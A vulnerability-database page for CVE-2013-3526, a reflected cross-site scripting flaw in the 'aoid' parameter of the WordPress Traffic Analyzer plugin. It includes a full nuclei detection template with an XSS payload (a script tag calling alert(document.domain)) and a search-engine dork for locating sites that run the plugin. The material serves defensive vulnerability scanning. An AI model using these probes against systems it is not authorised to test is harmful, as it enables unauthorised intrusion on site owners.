HexBrain

Browse / CVEs / CVE-2013-3526

CVE-2013-3526· wptrafficanalyzer / trafficanalyzer· CWE-79

WordPress Plugin Traffic Analyzer - 'aoid' Cross-Site Scripting

mediumseverity
4.3CVSS score
13.9%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it

A cross-site scripting vulnerability in js/ta_loaded.js.php in the Traffic Analyzer plugin, possibly 3.3.2 and earlier, for WordPress allows remote attackers to inject arbitrary web script or HTML via the aoid parameter."

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential theft of sensitive information or unauthorized actions.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET /wp-content/plugins/trafficanalyzer/readme.txt
Positive when: contains "traffic analy" and "Tags:"
Send: GET {{BaseURL}}/wp-content/plugins/trafficanalyzer/js/ta_loaded.js.php?aoid=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E
Positive when: contains "<script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2013-3526 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2013-3526

info:
  name: WordPress Plugin Traffic Analyzer - 'aoid' Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in js/ta_loaded.js.php in the Traffic Analyzer plugin, possibly 3.3.2 and earlier, for WordPress allows remote attackers to inject arbitrary web script or HTML via the aoid parameter."
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential theft of sensitive information or unauthorized actions.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2013-3526
    - http://packetstormsecurity.com/files/121167/WordPress-Traffic-Analyzer-Cross-Site-Scripting.html
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/83311
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/d4n-sec/d4n-sec.github.io
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2013-3526
    cwe-id: CWE-79
    epss-score: 0.13939
    epss-percentile: 0.96573
    cpe: cpe:2.3:a:wptrafficanalyzer:trafficanalyzer:1.0.0:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: wptrafficanalyzer
    product: trafficanalyzer
    google-query: "inurl:\"/wp-content/plugins/trafficanalyzer\""
  tags: cve2013,cve,packetstorm,wordpress,xss,wp-plugin,wptrafficanalyzer,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/trafficanalyzer/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'traffic analy'
          - 'Tags:'
        condition: and

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/trafficanalyzer/js/ta_loaded.js.php?aoid=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from